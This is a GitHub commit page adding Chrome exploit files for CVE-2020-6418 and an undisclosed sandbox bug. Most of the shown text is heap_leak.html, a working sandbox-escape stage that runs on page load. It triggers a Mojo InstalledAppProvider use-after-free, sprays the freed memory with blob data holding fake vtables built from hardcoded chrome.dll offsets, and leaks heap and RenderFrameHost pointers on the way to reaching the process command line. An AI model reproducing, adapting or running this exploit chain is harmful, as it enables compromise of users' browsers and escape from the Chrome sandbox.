Skip to content

Commit

Permalink
more stuff
Browse files Browse the repository at this point in the history
  • Loading branch information
Your Name committed Oct 4, 2024
1 parent 471e800 commit 6c198dd
Show file tree
Hide file tree
Showing 16 changed files with 3,271 additions and 0 deletions.
Binary file added CVE-2020-6418+CVE-2020-UNDISCLOSED/failed.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
13 changes: 13 additions & 0 deletions CVE-2020-6418+CVE-2020-UNDISCLOSED/fixing-errors.txt
Original file line number Diff line number Diff line change
@@ -0,0 +1,13 @@
unresolved external symbol _guard_check_icall_$fo$

https://github.com/pocoproject/poco/issues/4606
https://github.com/pocoproject/poco/discussions/4694
https://forum.gamemaker.io/index.php?threads/solution-yyc-build-linker-error-unresolved-external-symbol-_guard_check_icall_-fo.115387/
basically, sometimes if you windows SDK is too new, got problem, so downgrade
am sure if its too old, also got problem, so upgrade


https://groups.google.com/a/chromium.org/g/chromium-dev/c/Y7zFN11lxV8
https://issues.chromium.org/issues/40274505

just run the commands hinted lmao
746 changes: 746 additions & 0 deletions CVE-2020-6418+CVE-2020-UNDISCLOSED/gIRA/README.md

Large diffs are not rendered by default.

373 changes: 373 additions & 0 deletions CVE-2020-6418+CVE-2020-UNDISCLOSED/gIRA/arbitrary_call.html

Large diffs are not rendered by default.

373 changes: 373 additions & 0 deletions CVE-2020-6418+CVE-2020-UNDISCLOSED/gIRA/arbitrary_call_rnd.html

Large diffs are not rendered by default.

380 changes: 380 additions & 0 deletions CVE-2020-6418+CVE-2020-UNDISCLOSED/gIRA/copy.html

Large diffs are not rendered by default.

384 changes: 384 additions & 0 deletions CVE-2020-6418+CVE-2020-UNDISCLOSED/gIRA/exploit.html

Large diffs are not rendered by default.

254 changes: 254 additions & 0 deletions CVE-2020-6418+CVE-2020-UNDISCLOSED/gIRA/heap_leak.html
Original file line number Diff line number Diff line change
@@ -0,0 +1,254 @@
<html>
<head>
<script src="/mojo/public/js/mojo_bindings.js"></script>
<script src="/third_party/blink/public/mojom/installedapp/installed_app_provider.mojom.js"></script>
<script src="/third_party/blink/public/mojom/blob/blob_registry.mojom.js"></script>
<script src="/url/mojom/url.mojom.js"></script>
<script>
function print(str) {
console.log(str);
var log = document.getElementById('log');
if (log) {
log.innerText += str + '\n';
}
}

function sleep(ms) {
return new Promise(resolve => setTimeout(resolve, ms));
}

function allocateRFH(src) {
var iframe = document.createElement("iframe");
iframe.src = src;
document.body.appendChild(iframe);
return iframe;
}

function freeRFH(iframe) {
document.body.removeChild(iframe);
}

var kPwnInterfaceName = "pwn";
function sendPtr() {
var pipe = Mojo.createMessagePipe();
// bind the InstalledAppProvider with the child rfh
Mojo.bindInterface(blink.mojom.InstalledAppProvider.name,
pipe.handle1, "context", true);
// pass the endpoint handle to the parent rfh
Mojo.bindInterface(kPwnInterfaceName, pipe.handle0, "process");
}

function getFreedPtr() {
return new Promise(function (resolve, reject) {
var frame = allocateRFH(window.location.href + "#child"); // designate the child by hash
// intercept bindInterface calls for this process to accept the handle from the child
let interceptor = new MojoInterfaceInterceptor(kPwnInterfaceName, "process");
interceptor.oninterfacerequest = function(e) {
interceptor.stop();
// bind the remote
var provider_ptr = new blink.mojom.InstalledAppProviderPtr(e.handle);
freeRFH(frame);
resolve(provider_ptr);
}
interceptor.start();
});
}

function getAllocationConstructor() {
let blob_registry_ptr = new blink.mojom.BlobRegistryPtr();
Mojo.bindInterface(blink.mojom.BlobRegistry.name,
mojo.makeRequest(blob_registry_ptr).handle, "process", true);

function Allocation(size=280) {
function ProgressClient(allocate) {
function ProgressClientImpl() {
}
ProgressClientImpl.prototype = {
onProgress: async (arg0) => {
if (this.allocate.writePromise) {
this.allocate.writePromise.resolve(arg0);
}
}
};
this.allocate = allocate;

this.ptr = new mojo.AssociatedInterfacePtrInfo();
var progress_client_req = mojo.makeRequest(this.ptr);
this.binding = new mojo.AssociatedBinding(
blink.mojom.ProgressClient, new ProgressClientImpl(), progress_client_req
);

return this;
}

this.pipe = Mojo.createDataPipe({elementNumBytes: size, capacityNumBytes: size});
this.progressClient = new ProgressClient(this);
blob_registry_ptr.registerFromStream("", "", size, this.pipe.consumer, this.progressClient.ptr).then((res) => {
this.serialized_blob = res.blob;
})

this.malloc = async function(data) {
promise = new Promise((resolve, reject) => {
this.writePromise = {resolve: resolve, reject: reject};
});
this.pipe.producer.writeData(data);
this.pipe.producer.close();
written = await promise;
console.assert(written == data.byteLength);
}

this.free = async function() {
this.serialized_blob.blob.ptr.reset();
await sleep(1000);
}

this.read = function(offset, length) {
this.readpipe = Mojo.createDataPipe({elementNumBytes: 1, capacityNumBytes: length});
this.serialized_blob.blob.readRange(offset, length, this.readpipe.producer, null);
return new Promise((resolve) => {
this.watcher = this.readpipe.consumer.watch({readable: true}, (r) => {
result = new ArrayBuffer(length);
this.readpipe.consumer.readData(result);
this.watcher.cancel();
resolve(result);
});
});
}

this.readQword = async function(offset) {
let res = await this.read(offset, 8);
return (new DataView(res)).getBigUint64(0, true);
}

return this;
}

async function allocate(data) {
let allocation = new Allocation(data.byteLength);
await allocation.malloc(data);
return allocation;
}
return allocate;
}

async function trigger() {

if (window.location.hash == "#child") {
sendPtr();
return;
}

/*
PUT RESOURCES HERE
*/

let allocate = getAllocationConstructor();
const kChromeDllBase = 0x00007ff96e450000n; // need to keep changing shag ballz
const kRenderFrameHostSize = 0xc38;
const kSprayAllocationCount = 0x8;

const kFirstCallVtableOffset = 0x48; // ->GetProcess()
const kSecondCallVtableOffset = 0xd0; // ->GetProcess()->GetBroweserContext()
const kThirdCallVtableOffset = 0x18; // ->GetProcess()->GetBroweserContext()->IsOffTheRecord()
const kWakeLockContextOffset = 0x650; // this is where the leak will be stored at

const kFirstFakeVtablePtr = kChromeDllBase + 0x06230450n
const kFirstFakeVtableOffset = 0x8
const kSecondFakeVtablePtr = kChromeDllBase + 0x06230450n
const kSecondFakeVtableOffset = 0x8

const kGetWakeLockContext = kChromeDllBase + 0x004d6cc8n
const kWebContentsImplVtableGetWakeLockContextPtr = kChromeDllBase + 0x064d3af8n

const kDictionaryStart = kChromeDllBase + 0x024e938en
const kPieceWiseConstructWhereDictionaryStart = kChromeDllBase + 0x0677ca48n

const kCurrentProcessCommandline = kChromeDllBase + 0x07279608n;
const kSetCommandLineFlagsForSandboxType = kChromeDllBase + 0x0011bfd0n;

async function triggerUAF(ptr) {
await ptr.filterInstalledApps([], new url.mojom.Url({url: window.location.href}));
print("\t[+] UAF triggered");
}

function spray(data, num=kSprayAllocationCount) {
print("\t[+] Spraying...");
return Promise.all(Array(num).fill().map(() => allocate(data)));
}

async function leakPointerToRenderFrameHost() {
while (true) {
let data = new ArrayBuffer(kRenderFrameHostSize);
let view = new DataView(data);
for (let i = 0; i < kRenderFrameHostSize; i++) {
view.setUint8(i, 0x0);
}
offset = 0;
view.setBigUint64(offset, kFirstFakeVtablePtr - BigInt(kFirstCallVtableOffset), true);
offset += kFirstFakeVtableOffset;
view.setBigUint64(offset, kSecondFakeVtablePtr - BigInt(kSecondCallVtableOffset), true);
offset += kSecondFakeVtableOffset;
view.setBigUint64(offset, kWebContentsImplVtableGetWakeLockContextPtr - BigInt(kThirdCallVtableOffset), true);
// view.setBigUint64(offset + kThirdCallVtableOffset, 0x4141414141414141n, true); // this seems... useless?
offset += kWakeLockContextOffset;
let ptr = await getFreedPtr();
let heap = await spray(data);
await triggerUAF(ptr);

results = await Promise.all(heap.map((a) => a.readQword(offset))); // this should always be 8 cause we sprayed 8 chunks
let allocation;
let wakeLockContextAddr;
for (var i = 0; i < results.length; i++) {
if (results[i] != 0) {
wakeLockContextAddr = results[i];
allocation = heap[i];
print("\t[*] Allocation Index with heap leak value: " + i);
print("\t[*] Heap leak value: " + wakeLockContextAddr.toString(16)); // at +0x650h, we should be able to get the leak... somehow...
}
}
if (wakeLockContextAddr == undefined) {
print("\t[!] Cannot find heap leak, try again...");
continue
}

data = new ArrayBuffer(kRenderFrameHostSize);
view = new DataView(data);
offset = 0;
view.setBigUint64(offset, kFirstFakeVtablePtr - BigInt(kFirstCallVtableOffset), true);
offset += kFirstFakeVtableOffset;
view.setBigUint64(offset, kSecondFakeVtablePtr - BigInt(kSecondCallVtableOffset), true);
offset += kSecondFakeVtableOffset;
view.setBigUint64(offset, kPieceWiseConstructWhereDictionaryStart - BigInt(kThirdCallVtableOffset), true);
view.setBigUint64(offset+0x20, wakeLockContextAddr-0x20n, true);
offset += kWakeLockContextOffset;
let second_ptr = await getFreedPtr();
let second_heap = await spray(data);
await triggerUAF(second_ptr);
offset = 0x28;
results = await Promise.all(second_heap.map((a) => a.readQword(offset)));
let bufLeak = undefined;
for (var i = 0; i < results.length; i++) {
if (results[i] != 0) {
bufLeak = results[i];
}
}
if (bufLeak == undefined) {
print("\t[!] stage2 failed.. retrying");
continue;
}
print("\t[+] This should be the pointer to our render_frame_host_: " + bufLeak.toString(16));
return [allocation, bufLeak - BigInt(offset)];
break;
}
}

print("SBX Stage 1 Heap Leak...")
const [allocation, renderFrameHostPtr] = await leakPointerToRenderFrameHost(); // we need this cause we want to copy the current_process_command_line_

}
</script>
</head>
<body onload="trigger()"></body>
<pre id="log"></pre>
</html>

Binary file added CVE-2020-6418+CVE-2020-UNDISCLOSED/gIRA/mojo.7z
Binary file not shown.
Loading

0 comments on commit 6c198dd

Please sign in to comment.